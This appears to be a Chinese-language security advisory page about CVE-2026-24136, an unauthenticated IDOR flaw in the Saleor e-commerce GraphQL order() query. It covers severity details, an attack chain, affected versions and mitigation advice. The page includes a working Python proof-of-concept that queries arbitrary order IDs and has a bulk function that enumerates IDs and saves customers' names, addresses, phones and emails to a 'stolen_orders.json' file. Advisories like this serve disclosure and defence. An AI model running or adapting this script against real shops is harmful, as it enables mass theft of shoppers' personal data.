IPBUF安全漏洞报告
English
CVE-2026-24136 CVSS 7.5 高危

CVE-2026-24136: Saleor电商平台IDOR漏洞导致敏感信息泄露

披露日期: 2026-01-24

漏洞信息

漏洞编号
CVE-2026-24136
漏洞类型
IDOR(不安全的直接对象引用)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Saleor电商平台

相关标签

IDOR敏感信息泄露GraphQL电商平台Saleor未授权访问PII泄露API安全CVE-2026-24136

漏洞概述

Saleor是一款开源的电商平台,在其3.2.0至3.22.28版本中存在一个严重的不安全直接对象引用(IDOR)漏洞。该漏洞允许未经身份验证的攻击者通过操纵GraphQL API中的订单ID参数,非法访问其他用户的订单敏感信息,包括姓名、地址、联系方式等个人身份信息(PII)。由于漏洞存在于订单查询功能中,攻击者无需任何用户凭证即可发起攻击,仅需知道或猜测有效的订单ID即可获取明文形式的敏感数据。受影响的版本范围广泛,包括3.20.x、3.21.x和3.22.x系列。该漏洞的CVSS评分为7.5,属于高危级别,对用户隐私和数据安全构成严重威胁。建议受影响用户立即升级到官方发布的安全版本。

技术细节

该IDOR漏洞源于Saleor GraphQL API中的order()查询函数缺少适当的访问控制验证。攻击者可以通过构造恶意的GraphQL查询,直接传入目标订单的ID参数来获取该订单的完整信息。漏洞的技术细节如下:1) GraphQL端点未正确验证当前登录用户与请求订单的所属关系;2) 攻击者可以通过遍历订单ID(暴力猜测或利用订单号规律)来批量获取用户数据;3) 返回的订单信息包含收件人姓名、地址、电话、邮箱等明文PII数据;4) 该漏洞无需认证即可利用,攻击者可通过自动化脚本大规模采集用户敏感信息。攻击者通常会编写脚本循环请求不同的订单ID,将收集到的数据进行整理和出售或用于其他恶意目的。官方已在3.22.29、3.21.45和3.20.110版本中修复了此漏洞,修复方式是在order()查询中添加了当前用户权限验证逻辑。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标Saleor电商平台实例,并确认其版本是否在受影响范围内(3.2.0-3.22.28)
STEP 2
2. 构造恶意请求
攻击者构造GraphQL查询请求,在order()查询中直接传入目标订单ID,无需任何认证信息
STEP 3
3. IDOR利用
由于GraphQL API未验证订单所有权,攻击者成功获取目标订单的完整敏感信息,包括用户PII、地址、购买记录等
STEP 4
4. 数据批量提取
攻击者编写自动化脚本,通过遍历或猜测订单ID范围(如Order-1001到Order-9999),大规模批量窃取用户订单数据
STEP 5
5. 数据利用
攻击者将窃取的敏感信息用于非法目的,如身份盗窃、诈骗、出售数据等,或进一步发起针对性攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-24136 PoC - Saleor IDOR漏洞利用 # 攻击者可以通过遍历订单ID获取任意用户订单信息 import requests import json TARGET_URL = "https://target-saleor-instance/graphql/" def exploit_idor(target_url, order_id): """ 利用Saleor IDOR漏洞获取指定订单的敏感信息 Args: target_url: Saleor GraphQL API地址 order_id: 目标订单ID Returns: 订单敏感信息(JSON格式) """ # 构造恶意的GraphQL查询,直接传入任意订单ID query = ''' query { order(id: "%s") { id number status user { email firstName lastName } billingAddress { firstName lastName streetAddress1 streetAddress2 city postalCode country { country } phone } shippingAddress { firstName lastName streetAddress1 streetAddress2 city postalCode country { country } phone } lines { productName variantName quantity unitPrice { amount currency } } total { amount currency } } } ''' % order_id headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } response = requests.post( target_url, json={"query": query}, headers=headers, timeout=10 ) return response.json() def mass_exploit(target_url, start_id, end_id): """ 批量利用:遍历指定范围的订单ID收集用户数据 """ results = [] for order_id in range(start_id, end_id + 1): try: data = exploit_idor(target_url, f"Order-{order_id}") if "errors" not in data and data.get("data", {}).get("order"): order_info = data["data"]["order"] results.append(order_info) print(f"[+] 获取订单 {order_id} 成功") except Exception as e: print(f"[-] 获取订单 {order_id} 失败: {e}") # 保存收集到的数据 with open("stolen_orders.json", "w") as f: json.dump(results, f, indent=2, ensure_ascii=False) return results # 示例使用 if __name__ == "__main__": # 单个订单测试 result = exploit_idor(TARGET_URL, "Order-1001") print(json.dumps(result, indent=2, ensure_ascii=False))

影响范围

Saleor 3.2.0 - 3.20.109
Saleor 3.21.0-a.0 - 3.21.44
Saleor 3.22.0-a.0 - 3.22.28

防御指南

临时缓解措施
如果无法立即升级,可使用Web应用防火墙(WAF)临时阻止非员工用户访问order() GraphQL查询端点,或配置API网关对订单查询接口实施严格的访问控制策略,仅允许已认证且具有相应权限的用户访问订单信息。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表